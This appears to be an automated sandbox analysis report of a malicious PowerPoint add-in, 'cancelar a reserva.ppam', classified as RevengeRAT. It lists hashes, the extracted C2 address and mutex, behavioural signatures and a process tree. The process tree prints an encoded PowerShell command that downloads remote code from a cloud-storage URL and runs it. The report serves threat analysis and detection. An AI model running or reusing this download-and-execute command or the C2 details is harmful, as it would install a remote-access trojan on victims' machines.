Analysis

  • max time kernel
    117s
  • max time network
    139s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    22-08-2024 05:58

General

  • Target

    cancelar a reserva.ppam

  • Size

    31KB

  • MD5

    16f58ae67e03878af86c54501a568d7b

  • SHA1

    08a9c4f7113a6775379492c398b390a0fa54a80c

  • SHA256

    8bba854cc78ef4bee78a3057cf08d3d12c6da32ba5e205bc8081b1ac0b191372

  • SHA512

    6da10597cef24583e5aecf758f822e30111486cd91c7d54e7f86386f4ad59ed8d6b44277f526c1d76e6ff21305251863d0c7f9139e4a087321ee934e7c133924

  • SSDEEP

    768:VPjhl62n+DAPR6cAzOTdFEI6WvSK4HB6dXT1YeuEktp:VNl62+669OpCCSK4HBOXB0

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

18.228.165.84:3333

Mutex

788bf014999d4ae8929

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\cancelar a reserva.ppam"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:2092
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2124
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHMAcABhAG0ALQBjADIANwAzAGEALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AMQA1AC0AMAA4AC0AMgAwADIANAAuAGoAcABnAD8AYQBsAHQAPQBtAGUAZABpAGEAJgB0AG8AawBlAG4APQBkAGIAYQA5ADEAMgBjADAALQBlADgANAAxAC0ANAAyADIANQAtAGEAYgA4ADgALQA4AGIAYQAyADYAMQAyADYANgAxAGUAMgANAAoAJwApADsAIAANAAoAdQBwAFQAQQBvAGkAWABUAEMAdQBVAEMATgBwAHkAegBhAA0ACgA=""
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2796
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          • Checks processor information in registry
          PID:2708

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2092-0-0x000000002DAC1000-0x000000002DAC2000-memory.dmp

      Filesize

      4KB

    • memory/2092-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2092-2-0x000000007269D000-0x00000000726A8000-memory.dmp

      Filesize

      44KB

    • memory/2092-12-0x0000000005F00000-0x0000000006000000-memory.dmp

      Filesize

      1024KB

    • memory/2092-13-0x0000000006000000-0x0000000006100000-memory.dmp

      Filesize

      1024KB

    • memory/2092-38-0x0000000005F00000-0x0000000006000000-memory.dmp

      Filesize

      1024KB

    • memory/2092-39-0x0000000005F00000-0x0000000006000000-memory.dmp

      Filesize

      1024KB

    • memory/2092-71-0x000000007269D000-0x00000000726A8000-memory.dmp

      Filesize

      44KB

    • memory/2092-70-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2092-68-0x0000000005F00000-0x0000000006000000-memory.dmp

      Filesize

      1024KB

    • memory/2092-67-0x0000000005F00000-0x0000000006000000-memory.dmp

      Filesize

      1024KB

    • memory/2092-66-0x000000007269D000-0x00000000726A8000-memory.dmp

      Filesize

      44KB

    • memory/2708-60-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2708-58-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2708-54-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2708-63-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2708-62-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

      Filesize

      4KB

    • memory/2708-65-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2708-64-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2708-56-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2796-53-0x00000000027C0000-0x00000000027D8000-memory.dmp

      Filesize

      96KB

    • memory/2796-43-0x00000000027C0000-0x00000000027D8000-memory.dmp

      Filesize

      96KB

    • memory/2796-45-0x00000000027C0000-0x00000000027D8000-memory.dmp

      Filesize

      96KB

    • memory/2796-47-0x00000000027C0000-0x00000000027D8000-memory.dmp

      Filesize

      96KB

    • memory/2796-51-0x00000000027C0000-0x00000000027D8000-memory.dmp

      Filesize

      96KB

    • memory/2796-49-0x00000000027C0000-0x00000000027D8000-memory.dmp

      Filesize

      96KB

    • memory/2796-42-0x00000000027C0000-0x00000000027D8000-memory.dmp

      Filesize

      96KB